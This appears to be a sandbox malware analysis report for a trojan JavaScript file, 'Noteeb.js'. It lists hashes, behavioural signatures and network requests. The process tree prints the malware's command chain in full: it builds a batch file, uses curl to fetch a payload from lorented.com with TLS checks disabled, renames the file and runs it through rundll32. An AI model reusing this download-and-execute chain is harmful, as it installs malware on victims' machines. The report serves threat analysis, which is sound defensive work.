

Download Sample

Download PCAP

Download PCAPNG

Feedback

Print to PDF

Analysis

max time kernel
137s

max time network
146s

platform
windows10-2004_x64

resource
win10v2004-20231127-en

resource tags

ARCH:X64

ARCH:X86

IMAGE:WIN10V2004-
20231127-EN

LOCALE:EN-US

OS:WINDOWS10-2004-X64

SYSTEM

submitted
12-12-2023 14:39

Sharing

Copy URL

Twitter

E-mail



General



Target

Noteeb.js



Size

79KB



MD5

8ff33e1d1f20a1be265bd996c00d1463



SHA1

d01ff951755e8f2c8f9a3e3697cd3cc1e
0ffae4d



SHA256

2dde87c739be776f15f4f269d527e3ab9
6429a2947c8e9cd8a51e39050ffe73a



SHA512

3663e9e29f73f380d6bfd2e6bd851620
a100a1a8997a05df57b599f336f601e9
5f201cf18417fa4f5088c8a787b41af6ea
5eb9a313697239e99f0f8f63245051



SSDEEP

1536:SepX4w2rWvddsQs2/HIAB7gKLQ
GwWAcViP0vW7c3Go:SolYAUgxW7c3Go



Score

8/10



Malware Config



Signatures



Defense Evasion

Discovery

Blocklisted process makes network request • 3 IoCs

Checks computer location settings • 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Enumerates physical storage devices • 1 TTPs
Attempts to interact with connected storage/optical drive(s).

Modifies system certificate store • 2 TTPs 4 IoCs

EVASION

SPYWARE

TROJAN

Suspicious use of WriteProcessMemory • 20 IoCs



Processes



We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our [Privacy Policy](#).

Accept

PID:4908

PID:4452

teeb.js"	
<div><div></div><div>C:\Windows\System32\cmd.exe</div><div>PID:1120</div></div> <div>"C:\Windows\System32\cmd.exe" /c echo set /p="cu" > "C:\Users\Admin\AppData a\Local\Temp\culpa.j.bat"</div>	
<div><div></div><div>C:\Windows\system32\cmd.exe</div><div>PID:3584</div></div> <div>C:\Windows\system32\cmd.exe /S /D /c" set /p="cu" 1>"C:\Users\Admin\A ppData\Local\Temp\culpa.j.bat"</div>	
<div><div></div><div>C:\Windows\system32\cmd.exe</div><div>PID:3372</div></div> <div>C:\Windows\system32\cmd.exe /S /D /c" echo"</div>	
<div><div></div><div>C:\Windows\System32\cmd.exe</div><div>PID:3996</div></div> <div>"C:\Windows\System32\cmd.exe" /c echo rl "https://lorented.com/gf4/19996012 1" --output "C:\Users\Admin\AppData\L ocal\Temp\quo.z" --ssl-no-revoke --in secure --location >> "C:\Users\Admin \AppData\Local\Temp\culpa.j.bat"</div>	
<div><div></div><div>C:\Windows\System32\cmd.exe</div><div>PID:4124</div></div> <div>"C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\cu lpa.j.bat"</div>	
<div><div></div><div>C:\Windows\system32\curl.exe</div><div>PID:2220</div></div> <div>curl "https://lorented.com/gf4/199 960121" --output "C:\Users\Admin\Ap pData\Local\Temp\quo.z" --ssl-no-re voke --insecure --location</div>	
<div><div></div><div>C:\Windows\System32\cmd.exe</div><div>PID:1624</div></div> <div>"C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\cu lpa.j.bat"</div>	
<div><div></div><div>C:\Windows\System32\cmd.exe</div><div>PID:3920</div></div> <div>"C:\Windows\System32\cmd.exe" /c ren "C:\Users\Admin\AppData\Local\Temp\qu o.z" iure.h</div>	
<div><div></div><div>C:\Windows\System32\rundll32.exe</div><div>PID:1304</div></div> <div>"C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\iu re.h" Enter</div>	



Network



Requests



























TCP

UDP

	DNS	84.177.190.20.in-addr.arpa	▼
	DNS	209.178.17.96.in-addr.arpa	▼
	DNS	95.221.229.192.in-addr.arpa	▼
			▼
			▼
			▼
			▼
			▼
			▼
			▼

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our [Privacy Policy](#).

	DNS	195.233.44.23.in-addr.arpa		▼
	DNS	64.239.225.13.in-addr.arpa		▼
	DNS	241.154.82.20.in-addr.arpa		▼
	DNS	lorented.com	CURL.EXE	▼
	GET	https://lorented.com/gf4/199960121	CURL.EXE	▼
	DNS	208.194.73.20.in-addr.arpa		▼
	DNS	243.138.47.78.in-addr.arpa		▼
	DNS	g.bing.com		▼
	GET	https://g.bing.com/neg/0?action=emptycreativeimpress...		▼
	GET	https://g.bing.com/neg/0?action=emptycreative&adUnit...		▼
	GET	https://g.bing.com/neg/0?action=emptycreativeimpress...		▼
	DNS	200.197.79.204.in-addr.arpa		▼
	DNS	2.136.104.51.in-addr.arpa		▼
	DNS	tse1.mm.bing.net		▼
	GET	https://tse1.mm.bing.net/th?id=OADD2.10239317301717...		▼
	GET	https://tse1.mm.bing.net/th?id=OADD2.1023931730122...		▼
	GET	https://tse1.mm.bing.net/th?id=OADD2.1023931730130...		▼
	GET	https://tse1.mm.bing.net/th?id=OADD2.1023931730163...		▼
	DNS	157.123.68.40.in-addr.arpa		▼
	DNS	15.164.165.52.in-addr.arpa		▼
	DNS	18.134.221.88.in-addr.arpa		▼
	DNS	88.156.103.20.in-addr.arpa		▼
	DNS	0.204.248.87.in-addr.arpa		▼
	DNS	14.227.111.52.in-addr.arpa		▼
	DNS	55.36.223.20.in-addr.arpa		▼
	DNS	11.173.189.20.in-addr.arpa		▼

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our [Privacy Policy](#).



MITRE ATT&CK Enterprise

v15



Replay Monitor



Downloads



We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our [Privacy Policy](#).